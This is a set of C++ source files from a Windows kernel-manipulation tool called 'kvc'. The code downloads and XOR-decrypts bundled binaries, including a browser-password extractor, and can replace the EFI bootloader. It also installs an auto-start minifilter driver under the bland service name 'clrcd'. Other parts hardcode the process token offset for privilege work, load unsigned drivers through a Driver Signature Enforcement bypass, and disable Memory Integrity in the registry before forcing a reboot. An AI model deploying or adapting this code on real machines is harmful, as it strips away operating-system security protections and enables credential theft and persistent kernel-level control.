        if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) {
            ERROR(L"Failed to split combined PE data into components");
            return false;
        }

        if (kvcPassData.empty() || kvcCryptData.empty()) {
            ERROR(L"Extracted components are empty - invalid PE structure");
            return false;
        }
        
        INFO(L"PE splitting successful - kvc_pass.exe: %zu bytes, kvc_crypt.dll: %zu bytes", 
             kvcPassData.size(), kvcCryptData.size());
        
        // Write extracted components with enhanced error handling
        if (!WriteExtractedComponents(kvcPassData, kvcCryptData)) {
            ERROR(L"Failed to write extracted binary components to disk");
            return false;
        }
        
        INFO(L"kvc.dat processing completed successfully");
        return true;

    } catch (const std::exception& e) {
        ERROR(L"Exception during kvc.dat processing: %S", e.what());
        return false;
    } catch (...) {
        ERROR(L"Unknown exception during kvc.dat processing");
        return false;
    }
}

// Ensure kvc_pass.exe is available: check System32/CWD, then try kvc.dat in CWD,
// then offer to download kvc.dat from GitHub. Called before browser password commands.
bool Controller::EnsureBinaryComponents() noexcept {
    auto probe = [](const std::wstring& path) noexcept {
        return GetFileAttributesW(path.c_str()) != INVALID_FILE_ATTRIBUTES;
    };

    // Already deployed?
    wchar_t sys32[MAX_PATH];
    if (GetSystemDirectoryW(sys32, MAX_PATH) > 0) {
        if (probe(std::wstring(sys32) + L"\\kvc_pass.exe")) return true;
    }
    if (probe(L"kvc_pass.exe")) return true;

    // kvc.dat already in CWD?
    if (probe(KVC_DATA_FILE)) {
        INFO(L"Found kvc.dat, running setup...");
        return LoadAndSplitCombinedBinaries();
    }

    // Prompt download
    printf("[*] kvc.dat not found. Download from github? [Y/n]: ");
    fflush(stdout);
    wchar_t ch = static_cast<wchar_t>(_getwch());
    wprintf(L"%lc\n", ch);
    if (ch == L'n' || ch == L'N') {
        ERROR(L"kvc.dat required. Place it in the current directory or run 'kvc setup'.");
        return false;
    }

    INFO(L"Downloading kvc.dat...");
    HRESULT hr = URLDownloadToFileW(nullptr,
        L"https://github.com/wesmar/kvc/releases/download/latest/kvc.dat",
        KVC_DATA_FILE, 0, nullptr);
    if (FAILED(hr)) {
        ERROR(L"Download failed (0x%08X). Check internet connection.", static_cast<unsigned>(hr));
        return false;
    }
    SUCCESS(L"kvc.dat downloaded.");
    return LoadAndSplitCombinedBinaries();
}

// ── UnderVolter EFI module deployment ────────────────────────────────────────

bool Controller::DeployUnderVolter() noexcept
{
    try {
        // 1. Locate UnderVolter.dat (current dir or System32)
        fs::path datPath = fs::current_path() / KVC_UNDERVOLTER_FILE;
        if (!fs::exists(datPath)) {
            wchar_t sys32[MAX_PATH];
            GetSystemDirectoryW(sys32, MAX_PATH);
            datPath = fs::path(sys32) / KVC_UNDERVOLTER_FILE;
        }
        if (!fs::exists(datPath)) {
            printf("[*] UnderVolter.dat not found. Download from github? [Y/n]: ");
            fflush(stdout);
            wchar_t ch = static_cast<wchar_t>(_getwch());
            wprintf(L"%lc\n", ch);
            if (ch == L'n' || ch == L'N') {
                ERROR(L"UnderVolter.dat required. Place it in the current directory or run 'kvc setup'.");
                return false;
            }
            INFO(L"Downloading UnderVolter.dat...");
            const std::wstring cwdDat = (fs::current_path() / KVC_UNDERVOLTER_FILE).wstring();
            HRESULT hr = URLDownloadToFileW(nullptr,
                L"https://github.com/wesmar/kvc/releases/download/latest/UnderVolter.dat",
                cwdDat.c_str(), 0, nullptr);
            if (FAILED(hr)) {
                ERROR(L"Download failed (0x%08X). Check internet connection.", static_cast<unsigned>(hr));
                return false;
            }
            SUCCESS(L"UnderVolter.dat downloaded.");
            datPath = cwdDat;
        }

        INFO(L"Loading %s (%zu bytes)", datPath.c_str(),
             static_cast<size_t>(fs::file_size(datPath)));

        // 2. Read + XOR-decrypt
        auto enc = Utils::ReadFile(datPath.wstring());
        if (enc.empty()) { ERROR(L"Failed to read UnderVolter.dat"); return false; }

        auto dec = Utils::DecryptXOR(enc, KVC_XOR_KEY);
        if (dec.empty()) { ERROR(L"XOR decryption failed"); return false; }

        // 3. Split: dec = Loader.efi | UnderVolter.efi | UnderVolter.ini
        //    SplitCombinedPE only extracts exact PE sizes and discards trailing data,
        //    so UnderVolter.ini (plain text, no MZ) would be lost. Use GetPEFileLength
        //    twice directly on dec to find both PE boundaries; INI is the remainder.
        std::vector<BYTE> loaderData, uvEfiData, uvIniData;
        {
            auto loaderLen = Utils::GetPEFileLength(dec, 0);
            if (!loaderLen || *loaderLen == 0 || *loaderLen >= dec.size()) {
                ERROR(L"Failed to extract Loader.efi from UnderVolter.dat");
                return false;
            }
            auto efiLen = Utils::GetPEFileLength(dec, *loaderLen);
            if (!efiLen || *efiLen == 0 || *loaderLen + *efiLen >= dec.size()) {
                ERROR(L"Failed to extract UnderVolter.efi from UnderVolter.dat");
                return false;
            }
            loaderData.assign(dec.begin(), dec.begin() + *loaderLen);
            uvEfiData.assign(dec.begin() + *loaderLen, dec.begin() + *loaderLen + *efiLen);
            uvIniData.assign(dec.begin() + *loaderLen + *efiLen, dec.end());
        }
        if (loaderData.empty() || uvEfiData.empty() || uvIniData.empty()) {
            ERROR(L"Failed to extract UnderVolter.efi / UnderVolter.ini from UnderVolter.dat");
            return false;
        }

        INFO(L"Loader.efi: %zu bytes | UnderVolter.efi: %zu bytes | UnderVolter.ini: %zu bytes",
             loaderData.size(), uvEfiData.size(), uvIniData.size());

        // 4. Warning + confirmation
        printf("\n");
        printf("  %s\n",  HelpLayout::MakeBorderA('=', 64).c_str());
        printf("  |        UnderVolter EFI Deployment - WARNING                  |\n");
        printf("  |%s|\n", HelpLayout::MakeBorderA('-', 62).c_str());
        printf("  |  This will write files to the EFI System Partition.          |\n");
        printf("  |  Incorrect deployment may prevent Windows from booting.      |\n");
        printf("  |  KVC backs up BOOTX64.EFI before replacement.                |\n");
        printf("  |  Use 'kvc undervolter remove' to revert at any time.         |\n");
        printf("  %s\n",  HelpLayout::MakeBorderA('=', 64).c_str());
        printf("\n");
        printf("  Deployment mode:\n");
        printf("\n");
        printf("    [A]  Replace \\EFI\\BOOT\\BOOTX64.EFI with Loader.efi\n");
        printf("         Runs transparently on every boot automatically.\n");
        printf("\n");
        printf("    [B]  Copy files to \\EFI\\UnderVolter\\ only\n");
        printf("         Requires adding a UEFI boot entry manually.\n");
        printf("\n");
        printf("    [N]  Cancel\n");
        printf("\n");
        printf("  Choice [A/B/N]: ");

        wchar_t ch = static_cast<wchar_t>(_getwch());
        wprintf(L"%lc\n\n", ch);
        if (ch == L'N' || ch == L'n') {
            INFO(L"Deployment cancelled by user.");
            return false;
        }
        const bool replaceBootx64 = (ch == L'A' || ch == L'a');

        // 5. Find ESP
        const std::wstring espPath = FindESPVolumeGuid();
        if (espPath.empty()) { ERROR(L"Failed to locate EFI System Partition (ESP)"); return false; }

        INFO(L"Located EFI System Partition: %s", espPath.c_str());

        const fs::path esp = espPath;
        const fs::path uvDir = esp / L"EFI" / L"UnderVolter";

        EnsureDir(uvDir);

        bool ok = true;

        // 6. Always write UnderVolter.efi + UnderVolter.ini to EFI\UnderVolter
        ok &= Utils::WriteFile((uvDir / UNDERVOLTER_EFI_FILE).wstring(), uvEfiData);
        ok &= Utils::WriteFile((uvDir / UNDERVOLTER_INI_FILE).wstring(), uvIniData);

        if (replaceBootx64) {
            const fs::path bootDir    = esp / L"EFI" / L"BOOT";
            const fs::path bootx64    = bootDir / L"BOOTX64.EFI";
            const fs::path bootx64bak = bootDir / L"BOOTX64.efi.bak";

            EnsureDir(bootDir);

            // Backup original BOOTX64.EFI if not already backed up
            if (fs::exists(bootx64) && !fs::exists(bootx64bak)) {
                try {
                    fs::copy_file(bootx64, bootx64bak);
                    INFO(L"Backed up BOOTX64.EFI -> BOOTX64.efi.bak");
                } catch (...) {
                    ERROR(L"Failed to backup BOOTX64.EFI - aborting replacement");
                    return false;
                }
            }

            // Write Loader.efi as BOOTX64.EFI
            ok &= Utils::WriteFile(bootx64.wstring(), loaderData);
            if (ok) {
                INFO(L"Loader.efi written as \\EFI\\BOOT\\BOOTX64.EFI");
            }
        } else {
            // Standalone: write Loader.efi to \EFI\UnderVolter\ for manual boot entry
            ok &= Utils::WriteFile((uvDir / UNDERVOLTER_LOADER_FILE).wstring(), loaderData);
            INFO(L"Files written to \\EFI\\UnderVolter\\ - add UEFI boot entry manually.");
        }

        if (ok) {
            SUCCESS(L"UnderVolter deployed successfully.");
            SUCCESS(L"UnderVolter.efi + UnderVolter.ini -> \\EFI\\UnderVolter\\");
            if (replaceBootx64)
                SUCCESS(L"Loader.efi -> \\EFI\\BOOT\\BOOTX64.EFI (original backed up)");
            INFO(L"CPU voltage/power settings will apply on next boot.");
        } else {
            ERROR(L"Some files failed to write - deployment may be incomplete.");
        }
        return ok;

    } catch (const std::exception& e) {
        ERROR(L"Exception in DeployUnderVolter: %S", e.what());
        return false;
    } catch (...) {
        ERROR(L"Unknown exception in DeployUnderVolter");
        return false;
    }
}

bool Controller::RemoveUnderVolter() noexcept
{
    try {
        const std::wstring espPath = FindESPVolumeGuid();
        if (espPath.empty()) { ERROR(L"Failed to locate EFI System Partition (ESP)"); return false; }

        INFO(L"Located EFI System Partition: %s", espPath.c_str());

        const fs::path esp        = espPath;
        const fs::path uvDir      = esp / L"EFI" / L"UnderVolter";
        const fs::path bootDir    = esp / L"EFI" / L"BOOT";
        const fs::path bootx64    = bootDir / L"BOOTX64.EFI";
        const fs::path bootx64bak = bootDir / L"BOOTX64.efi.bak";

        bool ok = true;

        // Restore original BOOTX64.EFI from backup
        if (fs::exists(bootx64bak)) {
            try {
                fs::copy_file(bootx64bak, bootx64, fs::copy_options::overwrite_existing);
                fs::remove(bootx64bak);
                INFO(L"BOOTX64.efi.bak restored as BOOTX64.EFI");
            } catch (...) {
                ERROR(L"Failed to restore BOOTX64.efi.bak");
                ok = false;
            }
        } else {
            INFO(L"No backup found - BOOTX64.EFI was not replaced by KVC");
        }

        // Remove \EFI\UnderVolter\ directory
        if (fs::exists(uvDir)) {
            std::error_code ec;
            fs::remove_all(uvDir, ec);
            if (ec) {
                ERROR(L"Failed to remove \\EFI\\UnderVolter\\: %S", ec.message().c_str());
                ok = false;
            } else {
                INFO(L"\\EFI\\UnderVolter\\ removed");
            }
        } else {
            INFO(L"\\EFI\\UnderVolter\\ not found - nothing to remove");
        }

        if (ok) SUCCESS(L"UnderVolter removed from EFI partition.");
        return ok;

    } catch (const std::exception& e) {
        ERROR(L"Exception in RemoveUnderVolter: %S", e.what());
        return false;
    } catch (...) {
        ERROR(L"Unknown exception in RemoveUnderVolter");
        return false;
    }
}

std::wstring Controller::GetUnderVolterStatus() noexcept
{
    try {
        const std::wstring espPath = FindESPVolumeGuid();
        if (espPath.empty()) return L"ERROR: could not locate ESP";

        const fs::path esp        = espPath;
        const fs::path uvEfi      = esp / L"EFI" / L"UnderVolter" / UNDERVOLTER_EFI_FILE;
        const fs::path uvIni      = esp / L"EFI" / L"UnderVolter" / UNDERVOLTER_INI_FILE;
        const fs::path bootx64bak = esp / L"EFI" / L"BOOT" / L"BOOTX64.efi.bak";

        const bool efiPresent = fs::exists(uvEfi);
        const bool iniPresent = fs::exists(uvIni);
        const bool loaderActive = fs::exists(bootx64bak);

        if (!efiPresent && !iniPresent)
            return L"NOT DEPLOYED";

        std::wstring status = L"DEPLOYED";
        if (efiPresent)  status += L" | UnderVolter.efi: OK";
        if (iniPresent)  status += L" | UnderVolter.ini: OK";
        if (loaderActive) status += L" | Loader: ACTIVE (BOOTX64.EFI replaced)";
        else              status += L" | Loader: standalone (manual boot entry)";
        return status;

    } catch (...) {
        return L"ERROR: exception during status check";
    }
}

<<<FILE: kvc/ControllerBlocker.cpp>>>
Created:  2026-05-27 20:17:04
Modified: 2026-05-27 20:17:04
Size:     10.16 KB
// ControllerBlocker.cpp
// kvcblocker.sys (minifilter, service: clrcd, altitude 389991) lifecycle
// management and IOCTL wrappers.
//
// All extern "C" functions are called directly from vg\handlers.asm and
// vg\listview.asm - names and calling convention must match exactly.

#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include <filesystem>
#include <string>

namespace fs = std::filesystem;

// Globals defined in vg\main.asm
extern "C" DWORD g_driverInstalled;
extern "C" DWORD g_driverRunning;

// Status buffer - declared EXTERN in vg\handlers.asm
extern "C" BYTE g_statusResult[16] = {};

// 64 KB IOCTL enum buffer - defined in vg\main.asm .data?
extern "C" BYTE  g_ioBuf[];

// Internal device handle
static HANDLE s_hDevice = INVALID_HANDLE_VALUE;

static constexpr wchar_t BLOCKER_DEVICE[] =
    L"\\\\.\\BE79F7D853E643089D51EDCDA79805C4";

static constexpr wchar_t BLOCKER_SVC[]      = L"clrcd";
static constexpr wchar_t BLOCKER_ALTITUDE[] = L"389991";
static constexpr wchar_t BLOCKER_GROUP[]    = L"FSFilter Content Screener";

static constexpr wchar_t BLOCKER_INST_KEY[] =
    L"SYSTEM\\CurrentControlSet\\Services\\clrcd\\Instances";
static constexpr wchar_t BLOCKER_INST_SUB[] =
    L"SYSTEM\\CurrentControlSet\\Services\\clrcd\\Instances\\clrcd";

// DOS -> NT path conversion
static bool DosToNtPath(const WCHAR* dos, WCHAR* nt, DWORD ntChars) noexcept {
    if (!dos || wcslen(dos) < 3 || dos[1] != L':')
        return false;
    WCHAR drv[3] = { dos[0], L':', 0 };
    WCHAR dev[MAX_PATH] = {};
    if (!QueryDosDeviceW(drv, dev, MAX_PATH))
        return false;
    const WCHAR* suf = dos + 2;
    if (wcslen(dev) + wcslen(suf) + 1 > ntChars)
        return false;
    wcscpy_s(nt, ntChars, dev);
    wcscat_s(nt, ntChars, suf);
    DWORD len = static_cast<DWORD>(wcslen(nt));
    if (len > 0 && nt[len - 1] == L'\\')
        nt[len - 1] = L'\0';
    return true;
}

// Device lifecycle

extern "C" INT_PTR OpenDevice() noexcept {
    if (s_hDevice != INVALID_HANDLE_VALUE)
        return 1;
    s_hDevice = CreateFileW(BLOCKER_DEVICE,
                            GENERIC_READ | GENERIC_WRITE,
                            0, nullptr, OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL, nullptr);
    if (s_hDevice != INVALID_HANDLE_VALUE) {
        g_driverInstalled = 1;
        g_driverRunning   = 1;
        return 1;
    }
    return 0;
}

extern "C" void CloseDevice() noexcept {
    if (s_hDevice != INVALID_HANDLE_VALUE) {
        CloseHandle(s_hDevice);
        s_hDevice = INVALID_HANDLE_VALUE;
    }
}

extern "C" INT_PTR EnsureDriverReady() noexcept {
    return OpenDevice();
}

// IOCTL wrappers

extern "C" INT_PTR IoctlSetActive(DWORD active) noexcept {
    if (s_hDevice == INVALID_HANDLE_VALUE && !OpenDevice())
        return 0;
    DWORD flag = active;
    DWORD ret = 0;
    return DeviceIoControl(s_hDevice, 0x9C40241C,
                           &flag, sizeof(flag),
                           nullptr, 0, &ret, nullptr) ? 1 : 0;
}

extern "C" INT_PTR IoctlGetStatus() noexcept {
    if (s_hDevice == INVALID_HANDLE_VALUE && !OpenDevice())
        return 0;
    DWORD ret = 0;
    return DeviceIoControl(s_hDevice, 0x9C402420,
                           nullptr, 0,
                           g_statusResult, 16, &ret, nullptr) ? 1 : 0;
}

extern "C" INT_PTR IoctlAddPath(DWORD flags, const WCHAR* dosPath) noexcept {
    if (s_hDevice == INVALID_HANDLE_VALUE && !OpenDevice())
        return 0;
    static BYTE buf[0x6414];
    ZeroMemory(buf, sizeof(buf));
    *reinterpret_cast<DWORD*>(buf) = flags;
    WCHAR* ntDst = reinterpret_cast<WCHAR*>(buf + 4);
    if (!DosToNtPath(dosPath, ntDst, (sizeof(buf) - 4) / sizeof(WCHAR)))
        return 0;
    DWORD ret = 0;
    return DeviceIoControl(s_hDevice, 0x9C402400,
                           buf, sizeof(buf),
                           nullptr, 0, &ret, nullptr) ? 1 : 0;
}

extern "C" INT_PTR IoctlRemovePath(const WCHAR* dosPath) noexcept {
    return IoctlAddPath(0, dosPath);
}

extern "C" INT_PTR IoctlAddTrusted(const WCHAR* name) noexcept {
    if (s_hDevice == INVALID_HANDLE_VALUE && !OpenDevice())
        return 0;
    static BYTE rec[0xD94];
    ZeroMemory(rec, sizeof(rec));
    WCHAR* dst = reinterpret_cast<WCHAR*>(rec + 4);
    wcsncpy_s(dst, (sizeof(rec) - 4) / sizeof(WCHAR), name, _TRUNCATE);
    DWORD ret = 0;
    return DeviceIoControl(s_hDevice, 0x9C402408,
                           rec, sizeof(rec),
                           nullptr, 0, &ret, nullptr) ? 1 : 0;
}

extern "C" INT_PTR IoctlRemoveTrusted(const WCHAR* /*name*/) noexcept {
    // Zero-size input = driver clears all trusted entries.
    // Caller reloads remaining from registry via ConfigLoad().
    if (s_hDevice == INVALID_HANDLE_VALUE && !OpenDevice())
        return 0;
    DWORD ret = 0;
    return DeviceIoControl(s_hDevice, 0x9C402408,
                           nullptr, 0,
                           nullptr, 0, &ret, nullptr) ? 1 : 0;
}

extern "C" INT_PTR IoctlEnumPaths() noexcept {
    if (s_hDevice == INVALID_HANDLE_VALUE && !OpenDevice())
        return 0;
    DWORD ret = 0;
    return DeviceIoControl(s_hDevice, 0x9C402404,
                           nullptr, 0,
                           g_ioBuf, 65536, &ret, nullptr) ? 1 : 0;
}

extern "C" INT_PTR IoctlEnumTrusted() noexcept {
    if (s_hDevice == INVALID_HANDLE_VALUE && !OpenDevice())
        return 0;
    DWORD ret = 0;
    return DeviceIoControl(s_hDevice, 0x9C40240C,
                           nullptr, 0,
                           g_ioBuf, 65536, &ret, nullptr) ? 1 : 0;
}

extern "C" INT_PTR IoctlClearAll() noexcept {
    if (s_hDevice == INVALID_HANDLE_VALUE && !OpenDevice())
        return 0;
    DWORD ret = 0;
    return DeviceIoControl(s_hDevice, 0x9C402424,
                           nullptr, 0,
                           nullptr, 0, &ret, nullptr) ? 1 : 0;
}

// Minifilter altitude registry setup
static void SetupBlockerAltitude(const std::wstring& svcName) noexcept {
    HKEY hKey = nullptr;
    DWORD disp = 0;
    // HKLM\...\Services\clrcd\Instances -> DefaultInstance = "clrcd"
    if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, BLOCKER_INST_KEY,
                        0, nullptr, REG_OPTION_NON_VOLATILE,
                        KEY_ALL_ACCESS, nullptr, &hKey, &disp) == ERROR_SUCCESS) {
        const wchar_t* def = svcName.c_str();
        RegSetValueExW(hKey, L"DefaultInstance", 0, REG_SZ,
                       reinterpret_cast<const BYTE*>(def),
                       static_cast<DWORD>((wcslen(def) + 1) * sizeof(wchar_t)));
        RegCloseKey(hKey);
    }
    // HKLM\...\Services\clrcd\Instances\clrcd -> Altitude + Flags
    if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, BLOCKER_INST_SUB,
                        0, nullptr, REG_OPTION_NON_VOLATILE,
                        KEY_ALL_ACCESS, nullptr, &hKey, &disp) == ERROR_SUCCESS) {
        RegSetValueExW(hKey, L"Altitude", 0, REG_SZ,
                       reinterpret_cast<const BYTE*>(BLOCKER_ALTITUDE),
                       static_cast<DWORD>((wcslen(BLOCKER_ALTITUDE) + 1) * sizeof(wchar_t)));
        DWORD flags = 0;
        RegSetValueExW(hKey, L"Flags", 0, REG_DWORD,
                       reinterpret_cast<const BYTE*>(&flags), sizeof(flags));
        RegCloseKey(hKey);
    }
}

// Controller methods

bool Controller::EnsureBlockerDriver() noexcept {
    // Try to open device first (driver already running)
    if (OpenDevice())
        return true;

    const std::wstring driverPath = GetDriverStorePath() + L"\\kvcblocker.sys";
    if (GetFileAttributesW(driverPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
        ERROR(L"kvcblocker.sys not found in DriverStore - run 'kvc list' first");
        return false;
    }

    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
    if (!hSCM) {
        ERROR(L"Failed to open SCM: %lu", GetLastError());
        return false;
    }

    // Create service if not present
    SC_HANDLE hSvc = OpenServiceW(hSCM, BLOCKER_SVC, SERVICE_ALL_ACCESS);
    if (!hSvc) {
        hSvc = CreateServiceW(
            hSCM, BLOCKER_SVC, L"kvcblocker",
            SERVICE_ALL_ACCESS,
            SERVICE_KERNEL_DRIVER,
            SERVICE_AUTO_START,          // load on boot
            SERVICE_ERROR_NORMAL,
            driverPath.c_str(),
            BLOCKER_GROUP,               // load order group
            nullptr, L"FltMgr\0\0",      // dependency: Filter Manager
            nullptr, nullptr);
        if (!hSvc) {
            DWORD err = GetLastError();
            CloseServiceHandle(hSCM);
            ERROR(L"Failed to create clrcd service: %lu", err);
            return false;
        }
        SetupBlockerAltitude(BLOCKER_SVC);
    }

    // Start service
    BOOL started = StartServiceW(hSvc, 0, nullptr);
    if (!started) {
        DWORD err = GetLastError();
        if (err != ERROR_SERVICE_ALREADY_RUNNING) {
            CloseServiceHandle(hSvc);
            CloseServiceHandle(hSCM);
            ERROR(L"Failed to start clrcd service: %lu", err);
            return false;
        }
    }

    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);

    // Wait briefly for minifilter to attach
    Sleep(500);

    if (!OpenDevice()) {
        ERROR(L"clrcd service started but device unavailable");
        return false;
    }
    SUCCESS(L"kvcblocker.sys loaded (clrcd service running)");
    return true;
}

bool Controller::IsBlockerRunning() noexcept {
    if (s_hDevice != INVALID_HANDLE_VALUE)
        return true;
    HANDLE h = CreateFileW(BLOCKER_DEVICE,
                           GENERIC_READ | GENERIC_WRITE,
                           0, nullptr, OPEN_EXISTING,
                           FILE_ATTRIBUTE_NORMAL, nullptr);
    if (h != INVALID_HANDLE_VALUE) {
        CloseHandle(h);
        return true;
    }
    return false;
}

std::wstring Controller::GetBlockerStatus() noexcept {
    if (!OpenDevice())
        return L"STOPPED";
    if (!IoctlGetStatus())
        return L"RUNNING (no status)";
    BYTE active = g_statusResult[0];
    DWORD paths   = *reinterpret_cast<DWORD*>(g_statusResult + 4);
    DWORD trusted = *reinterpret_cast<DWORD*>(g_statusResult + 8);
    DWORD ver     = *reinterpret_cast<DWORD*>(g_statusResult + 12);
    wchar_t buf[128];
    swprintf_s(buf, L"%s  paths=%lu  trusted=%lu  ver=%lu",
               active ? L"ACTIVE" : L"INACTIVE", paths, trusted, ver);
    return buf;
}

<<<FILE: kvc/ControllerCore.cpp>>>
Created:  2026-04-19 22:47:08
Modified: 2026-04-19 22:47:08
Size:     5.86 KB
// ControllerCore.cpp
#include "Controller.h"
#include "common.h"
#include "resource.h"
#include <algorithm>
#include <chrono>

extern volatile bool g_interrupted;

Controller::Controller() : m_rtc(std::make_unique<kvc>()), m_of(std::make_unique<OffsetFinder>()) {
    if (!m_of->FindAllOffsets()) {
        ERROR(L"Failed to find required kernel structure offsets");
    }

    // _EPROCESS.Token offset — stable at 0x4B8 across Win10 21H2 through Win11 26H2.
    // SymFromNameW cannot resolve struct field offsets (requires SymGetTypeInfo).
    // When OffsetFinder gains a Token pattern, replace this constant.
    m_cachedTokenOffset = 0x4B8;

    // Auto-connect to kvcstrm if already loaded (e.g. loaded manually or from previous session)
    if (KvcStrmClient::IsDriverLoaded())
        m_strm.Open();
}

Controller::~Controller() {
}

// Atomic operation cleanup - critical for BSOD prevention
bool Controller::PerformAtomicCleanup() noexcept {
    DEBUG(L"Starting atomic cleanup procedure...");
    
    // First, close the connection to the driver
    if (m_rtc && m_rtc->IsConnected()) {
        DEBUG(L"Force-closing driver connection...");
        m_rtc->Cleanup();
    }
    m_strm.Close();  // Must close before kvcstrm service stop to avoid leaked handle
    
	// CHECK IF THE SERVICE IS A ZOMBIE
    if (IsServiceZombie()) {
        DEBUG(L"Service in zombie state - skipping aggressive cleanup to avoid BSOD");
        return true;
    }
    
    DEBUG(L"Stopping driver service...");
    if (!StopDriverService()) {
        ERROR(L"Failed to stop driver service during cleanup");
        // Continue on error - the service may already be stopped
    }
    DEBUG(L"Verifying service stopped...");
    bool serviceVerified = false;
    if (InitDynamicAPIs()) {
        for(int attempt = 0; attempt < 10; attempt++) {
            SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
            if (hSCM) {
                SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_QUERY_STATUS);
                if (hService) {
                    SERVICE_STATUS status;
                    if (QueryServiceStatus(hService, &status)) {
                        if (status.dwCurrentState == SERVICE_STOPPED) {
                            serviceVerified = true;
                            CloseServiceHandle(hService);
                            CloseServiceHandle(hSCM);
                            break;
                        }
                    }
                    CloseServiceHandle(hService);
                } else {
                    // Service does not exist - consider it stopped
                    serviceVerified = true;
                    CloseServiceHandle(hSCM);
                    break;
                }
                CloseServiceHandle(hSCM);
            }
        }
    }
    if (serviceVerified) {
        DEBUG(L"Service verified stopped, uninstalling...");
        UninstallDriver();
    } else {
        ERROR(L"Service still running, skipping uninstall to avoid BSOD");
    }
    
    m_rtc = std::make_unique<kvc>();

    DEBUG(L"Atomic cleanup completed successfully");
    return true;
}

bool Controller::PerformAtomicInit() noexcept {
    if (!EnsureDriverAvailable()) {
        ERROR(L"Failed to load driver for atomic operation");
        return false;
    }
    return true;
}

bool Controller::PerformAtomicInitWithErrorCleanup() noexcept {
    if (!PerformAtomicInit()) {
        PerformAtomicCleanup();
        return false;
    }
    return true;
}

// Core driver availability check with fallback mechanisms
bool Controller::EnsureDriverAvailable() noexcept {
    if (IsServiceZombie()) {
        DEBUG(L"Service zombie detected - cannot reload driver safely");
        return false; // AVOID BSOD - do not reload the driver
    }

    // Terminate any non-compliant host that keeps a conflicting driver loaded.
    // Driver unloads automatically on host exit; host is not restarted by us.
    CheckAndTerminateNonCompliantHost();

	// Phase 1: Check if the driver is already available (without testing)
	ForceRemoveService();
	if (IsDriverCurrentlyLoaded()) {
        return true;
    }

    // Phase 2: Try to start the existing service
    if (!InitDynamicAPIs()) return false;
    
    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
    if (hSCM) {
        SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_QUERY_STATUS | SERVICE_START);
        if (hService) {
            SERVICE_STATUS status;
            if (QueryServiceStatus(hService, &status)) {
                if (status.dwCurrentState == SERVICE_STOPPED) {
                    g_pStartServiceW(hService, 0, nullptr);
                }
            }
            CloseServiceHandle(hService);
        }
        CloseServiceHandle(hSCM);
        
        // Give it time to start
        // Check if it's running now (without a test read)
        if (m_rtc->Initialize() && m_rtc->IsConnected()) {
            return true;
        }
    }

    // Phase 3: Install a new driver (ONLY if necessary)
    DEBUG(L"Initializing kernel driver component...");
    
    if (!InstallDriverSilently()) {
        ERROR(L"Failed to install kernel driver component");
        return false;
    }

    if (!StartDriverServiceSilent()) {
        ERROR(L"Failed to start kernel driver service");
        return false;
    }

    // Phase 4: Final check
    if (!m_rtc->Initialize()) {
        ERROR(L"Failed to initialize kernel driver communication");
        return false;
    }

    DEBUG(L"Kernel driver component initialized successfully");
    return true;
}

bool Controller::IsDriverCurrentlyLoaded() noexcept {
    if (!m_rtc) return false;
    return m_rtc->IsConnected(); // Just check if the device is open
}

<<<FILE: kvc/ControllerDriverLoader.cpp>>>
Created:  2026-04-05 22:59:19
Modified: 2026-04-05 22:59:18
Size:     20.67 KB
// ControllerDriverLoader.cpp
// External driver loading with DSE bypass (Safe method) - automatic restore

#include "Controller.h"
#include "common.h"
#include <algorithm>

// Check if HVCI is enabled and handle it (returns true if safe to proceed)
bool Controller::CheckAndHandleHVCI(const std::wstring& operation, const std::wstring& targetPath) noexcept {
    PerformAtomicCleanup();
    if (!BeginDriverSession()) {
        ERROR(L"Failed to start driver session for HVCI check");
        return false;
    }
    if (!m_rtc->Initialize()) {
        ERROR(L"Failed to initialize driver handle");
        EndDriverSession(true);
        return false;
    }
    
    if (!m_dseBypass) {
        m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
    }
    
    // Get DSE status to check HVCI
    DSEBypass::Status status;
    if (!m_dseBypass->GetStatus(status)) {
        ERROR(L"Failed to get DSE status");
        EndDriverSession(true);
        return false;
    }
    
    EndDriverSession(true);
    
    if (!status.HVCIEnabled) {
        SUCCESS(L"Memory Integrity is disabled - safe to proceed");
        return true;
    }
    
    // HVCI is enabled - same handling as DisableDSESafe()
    INFO(L"Memory Integrity is enabled (g_CiOptions = 0x%08X)", status.CiOptionsValue);
    INFO(L"A reboot is required to disable Memory Integrity before driver %s", operation.c_str());
    std::wcout << L"\n";
    std::wcout << L"Disable Memory Integrity and reboot now? [Y/N]: ";
    wchar_t choice;
    std::wcin >> choice;
    if (choice != L'Y' && choice != L'y') {
        INFO(L"Operation cancelled by user");
        return false;
    }
    // Set HVCI registry to 0
    HKEY hKeyRaw = nullptr;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                      L"SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity",
                      0, KEY_SET_VALUE, &hKeyRaw) == ERROR_SUCCESS) {
        RegKeyGuard hKey(hKeyRaw);
        DWORD disabled = 0;
        RegSetValueExW(hKey.get(), L"Enabled", 0, REG_DWORD,
                      reinterpret_cast<const BYTE*>(&disabled), sizeof(DWORD));
        SUCCESS(L"Memory Integrity disabled in registry");
    } else {
        ERROR(L"Failed to modify HVCI registry key");
        return false;
    }
    INFO(L"Initiating system reboot...");
    INFO(L"After reboot, run 'kvc driver %s %s' again to complete the operation", 
         operation.c_str(), targetPath.c_str());
    // Enable shutdown privilege and reboot
    {
        TokenGuard token;
        HANDLE hTokenRaw = nullptr;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenRaw)) {
            token.reset(hTokenRaw);
            TOKEN_PRIVILEGES tkp;
            LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
            tkp.PrivilegeCount = 1;
